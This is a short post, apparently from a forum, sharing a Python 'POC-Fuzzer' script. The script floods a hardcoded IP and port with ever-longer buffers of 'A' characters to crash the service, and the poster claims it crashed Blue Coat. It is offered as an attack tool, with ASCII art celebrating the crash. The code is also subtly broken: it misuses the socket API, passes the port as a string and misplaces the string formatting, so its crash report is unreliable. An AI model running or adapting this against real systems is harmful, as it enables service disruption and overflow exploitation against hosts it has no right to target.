Used this 'fuzzer' for an example on how to find and exploit software. Used this on Blue Coat and made it crash!

POC-Fuzzer.py

#!/usr/bin/env python

from socket import socket

HOST='123.3.3.6'
PORT='16102'
MAX_BUFFER = 100000

try:
    for length in range(MAX_BUFFER):
        buffer = "A"*length
        #print("Trying %d" % length)
        connection = socket.connect((HOST, PORT))
        connection.send(buffer)
        connection.close()
    print(" (\  /)")
    print("( .  .)")
    print("C(\") (\"), done and no crash. Bunny is sad..")

except:
    print("     _.-^^---....,,--")
    print(" _--                  --_")
    print("<                        >)  Program Crashed")
    print("|                         |      This makes us happy. :)")
    print(" \._                   _./")
    print("    ```--. . , ; .--'''      %d Attemps were required.") % length
    print("          | |   |")
    print("       .-=||  | |=-.")
    print("       `-=#$%&%$#=-'")
    print("          | ;  :|")
    print(" _____.,-#%&$@%#&#~,._____ ")